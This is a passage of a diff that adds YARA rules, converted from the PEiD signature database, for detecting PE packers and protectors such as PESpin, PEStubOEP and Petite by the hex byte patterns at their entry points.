+        $a = {60 E8 2B 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01636_PEShit_
+{
+    meta:
+        description = "[PEShit]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 F9 00 7E 06 80 30 ?? 40 E2 F5 E9 ?? ?? ?? FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01637_PESpin_0_1____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 0.1 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01638_PESpin_0_3____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 0.3 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01639_PESpin_0_7____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 0.7 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01640_PESpin_1_0____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 1.0 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 C8 DC 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01641_PESpin_1_1____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 1.1 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01642_PESPin_1_3____Cyberbob__h__
+{
+    meta:
+        description = "[PESPin 1.3 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 AC DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01643_PESpin_1_304____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 1.304 -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08}
+    condition:
+        $a
+}
+
+rule PEiD_01644_PESpin_1_3beta____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin 1.3beta -> Cyberbob (h)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 71 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a
+}
+
+rule PEiD_01645_PESpin_1_3x____Cyberbob_
+{
+    meta:
+        description = "[PESpin 1.3x -> Cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01646_PESpin_v0_1____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v0.1 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 B3 28 40 00 8B 42 3C 03 C2 89 85 BD 28 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D D1 28 40 00 53 8F 85 C4 27 40 00 BB ?? 00 00 00 B9 A5 08 00 00 8D BD 75 29 40 00 4F 30 1C 39 FE CB E2 F9 68 2D 01 00 00 59 8D BD AA 30 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 07 4F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D C4 28 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00 59 81 C1 1D 00 00 00 52 51 C1 E9 05 23 D1 FF}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01647_PESpin_v0_3__Eng_____cyberbob_
+{
+    meta:
+        description = "[PESpin v0.3 (Eng) -> cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01648_PESpin_v0_3__Eng_____cyberbob_
+{
+    meta:
+        description = "[PESpin v0.3 (Eng) -> cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 CB 2C 40 00 8B 42 3C 03 C2 89 85 D5 2C 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D E9 2C 40 00 53 8F 85 B6 2B 40 00 BB ?? 00 00 00 B9 75 0A 00 00 8D BD 7E 2D 40 00 4F 30 1C 39 FE CB E2 F9 68 3C 01 00 00 59 8D BD B6 36 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 1F 53 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D DC 2C 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01649_PESpin_v0_3____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v0.3 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 CB 2C 40 00 8B 42 3C 03 C2 89 85 D5 2C 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D E9 2C 40 00 53 8F 85 B6 2B 40 00 BB ?? 00 00 00 B9 75 0A 00 00 8D BD 7E 2D 40 00 4F 30 1C 39 FE CB E2 F9 68 3C 01 00 00 59 8D BD B6 36 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 1F 53 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D DC 2C 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01650_PESpin_v0_7____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v0.7 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 88 39 40 00 8B 42 3C 03 C2 89 85 92 39 40 00 EB 01 DB 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D A6 39 40 00 53 8F 85 4A 38 40 00 BB ?? 00 00 00 B9 EC 0A 00 00 8D BD 36 3A 40 00 4F EB 01 AB 30 1C 39 FE CB E2 F9 EB 01 C8 68 CB 00 00 00 59 8D BD 56 44 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 B3 5F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D 99 39 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01651_PESpin_v0_7____Cyberbob_
+{
+    meta:
+        description = "[PESpin v0.7 -> Cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 88 39 40 00 8B 42 3C 03 C2 89 85 92 39 40 00 EB 01 DB 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D A6 39 40 00 53 8F 85 4A 38 40 00 BB ?? 00 00 00 B9 EC 0A 00 00 8D BD 36 3A 40 00 4F EB 01 AB 30 1C 39 FE CB E2 F9 EB 01 C8 68 CB 00 00 00 59 8D BD 56 44 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 B3 5F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D 99 39 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01652_PESpin_V0_71____cyberbob_
+{
+    meta:
+        description = "[PESpin V0.71 -> cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 83 D5 46 00 0B E4 74 9E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01653_PESpin_v1_0____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v1.0 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 C8 DC 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 D2 42 40 00 8B 42 3C 03 C2 89 85 DC 42 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D F0 42 40 00 53 8F 85 94 41 40 00 BB ?? 00 00 00 B9 8C 0B 00 00 8D BD 80 43 40 00 4F EB 01 AB 30 1C 39 FE CB E2 F9 EB 01 C8 68 CB 00 00 00 59 8D BD 40 4E 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 FD 68 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01654_PESpin_v1_1____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v1.1 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 C3 4B 40 00 8B 42 3C 03 C2 89 85 CD 4B 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D E1 4B 40 00 53 8F 85 D7 49 40 00 BB ?? 00 00 00 B9 FE 11 00 00 8D BD 71 4C 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C C1 2C 24 06 F7 14 24 83 24 24 01 50 52 B8 83 B2 DC 12 05 44 4D 23 ED F7 64 24 08 8D 84 28 BD 2D 40 00 89 44 24 08 5A 58 8D 64 24 04 FF 64 24 FC FF EA EB 01 C8 E8 01 00 00 00 68 58 FE 48 1F 0F 84 94 02 00 00 75 01 9A 81 70 03 E8 98 68 EA 83 C0 21 80 40 FB EB A2 40 02 00 E0 91 32 68 CB 00 00 00 59 8D BD A3 5D 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01655_PESpin_V1_1____cyberbob_
+{
+    meta:
+        description = "[PESpin V1.1 -> cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01656_PESpin_v1_1_by_cyberbob_
+{
+    meta:
+        description = "[PESpin v1.1 by cyberbob]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 7D DE 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 C3 4B 40 00 8B 42 3C 03 C2 89 85 CD 4B 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D E1 4B 40 00 53 8F 85 D7 49 40 00 BB ?? 00 00 00 B9 FE 11 00 00 8D BD 71 4C 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C}
+    condition:
+        $a
+}
+
+rule PEiD_01657_PESPin_v1_3____Cyberbob__h__
+{
+    meta:
+        description = "[PESPin v1.3 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 AC DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 0D 4F 40 00 8B 42 3C 03 C2 89 85 17 4F 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D 2B 4F 40 00 53 8F 85 21 4D 40 00 EB 07 FA EB 01 FF EB 04 E3 EB F8 69 8B 59 38 03 DA 8B 3B 89 BD D0 4F 40 00 8D 5B 04 8B 1B 89 9D D5 4F 40 00 E8 00 00 00 00 58 01 68 05 68 F7 65 0F E2 B8 77 CE 2F B1 35 73 CE 2F B1 03 E0 F7 D8 81 2C 04 13 37 CF E1 FF 64 24 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01658_PESpin_v1_304____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v1.304 -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 CD 4E 40 00 8B 42 3C 03 C2 89 85 D7 4E 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D EB 4E 40 00 53 8F 85 E1 4C 40 00 EB 07 FA EB 01 FF EB 04 E3 EB F8 69 8B 59 38 03 DA 8B 3B 89 BD 90 4F 40 00 8D 5B 04 8B 1B 89 9D 95 4F 40 00 E8 00 00 00 00 58 01 68 05 68 D3 65 0F E2 B8 77 CE 2F B1 35 73 CE 2F B1 03 E0 F7 D8 81 2C 04 13 37 CF E1 FF 64 24 FC FF 25 10 BB ?? 00 00 00 B9 84 12 00 00 8D BD C6 4F 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C EB 04 01 EB 04 CD EB FB 2B C1 2C 24 06 F7 14 24 83 24 24 01 50 52 B8 79 B2 DC 12 05 44 4D 23 ED F7 64 24 08 8D 84 28 20 2F 40 00 89 44 24 08 5A 58 8D 64 24 04 FF 64 24 FC FF EA EB EB 01 C8 E8 01 00 00 00 68 58 FE 48 1F 0F 84 94 02 00 00 75 01 9A 81 70 03 E8 98 68 EA 83 C0 21 80 40 FB EB A2 40 02 00 E0 91 32 68 CB 00 00 00 59 8D BD 7E 61 40 00 E8 03 00 00 00 EB 04 FA EB FB 68 83 04 24 0C C3 8D C0 0C 39 02 49 9C E8 03 00 00 00 EB 04 8D EB FB FF 83 04 24 0C C3 A3 C1 2C 24 06 F7 14 24 83 24 24 01 50 52 B8 61 B2 DC 12 05 44 4D 23 ED F7 64 24 08 8D 84 28 B2 2F 40 00 89 44 24 08 5A 58 8D 64 24 04 FF 64 24 FC 9A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01659_PESpin_v1_304____Cyberbob_
+{
+    meta:
+        description = "[PESpin v1.304 -> Cyberbob]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 88 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01660_PESpin_v1_3beta____Cyberbob__h__
+{
+    meta:
+        description = "[PESpin v1.3beta -> Cyberbob (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 71 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 EB 04 9A EB 04 00 EB FB FF 8B 95 ?? 4E 40 00 8B 42 3C 03 C2 89 85 ?? 4E 40 00 EB 02 12 77 F9 72 08 73 0E F9 83 04 24 17 C3 E8 04 00 00 00 0F F5 73 11 EB 06 9A 72 ED 1F EB 07 F5 72 0E F5 72 F8 68 EB EC 83 04 24 07 F5 FF 34 24 C3 41 C1 E1 07 8B 0C 01 03 CA E8 03 00 00 00 EB 04 9A EB FB 00 83 04 24 0C C3 3B 8B 59 10 03 DA 8B 1B 89 9D ?? 4E 40 00 53 8F 85 ?? 4C 40 00 EB 07 FA EB 01 FF EB 04 E3 EB F8 69 8B 59 38 03 DA 8B 3B 89 BD ?? 4F 40 00 8D 5B 04 8B 1B 89 9D ?? 4F 40 00 E8 00 00 00 00 58 01 68 05 68 BC 65 0F E2 B8 77 CE 2F B1 35 73 CE 2F B1 03 E0 F7 D8 81 2C 04 13 37 CF E1 FF 64 24 FC FF 25 10 BB ?? 00 00 00 B9 84 12 00 00 8D BD ?? 4F 40 00 4F EB 07 FA EB 01 FF EB 04 E3 EB F8 69 30 1C 39 FE CB 49 9C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01661_PEStubOEP_v1_x_
+{
+    meta:
+        description = "[PEStubOEP v1.x]"
+        ep_only = "false"
+    strings:
+        $a = {40 48 BE 00 ?? ?? 00 40 48 60 33 C0 B8 ?? ?? ?? 00 FF E0 C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01662_PeStubOEP_v1_x_
+{
+    meta:
+        description = "[PeStubOEP v1.x]"
+        ep_only = "false"
+    strings:
+        $a = {90 33 C9 33 D2 B8 ?? ?? ?? 00 B9 FF}
+    condition:
+        $a
+}
+rule PEiD_01663_PeStubOEP_v1_x_
+{
+    meta:
+        description = "[PeStubOEP v1.x]"
+        ep_only = "false"
+    strings:
+        $a = {E8 05 00 00 00 33 C0 40 48 C3 E8 05}
+    condition:
+        $a
+}
+
+rule PEiD_01664_Petite_1_2_____c_1998_Ian_Luck__h__
+{
+    meta:
+        description = "[Petite 1.2 -> (c)1998 Ian Luck (h)]"
+        ep_only = "true"
+    strings:
+        $a = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00 09 00 0A 00 0B 00 0D 00 0F 00 11 00 13 00 17 00 1B 00 1F 00 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 83 00 A3 00 C3 00 E3 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 02 02 02 02 03 03 03 03 04 04 04 04 05 05 05 05 00 70 70 01 00 02 00 03 00 04 00 05 00 07 00 09 00 0D 00 11 00 19 00 21 00 31 00 41 00 61 00 81 00 C1 00 01 01 81 01 01 02 01 03 01 04 01 06 01 08 01 0C 01 10 01 18 01 20 01 30 01 40 01 60 00 00 00 00 01 01 02 02 03 03 04 04 05 05 06 06 07 07 08 08 09 09 0A 0A 0B 0B 0C 0C 0D 0D 10 11 12 00 08 07 09 06 0A 05 0B 04 0C 03 0D 02 0E 01 0F 58 2C 08 50 8B C8 8B D0 81 C1 ?? D2 00 00 81 C2 ?? ?? 00 00 89 20 8B E1 50 81 2C 24 00 ?? ?? ?? FF 30 50 80 04 24}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01665_Petite_1_2_____c_1998_Ian_Luck_
+{
+    meta:
+        description = "[Petite 1.2 -> (c)1998 Ian Luck]"
+        ep_only = "true"
+    strings:
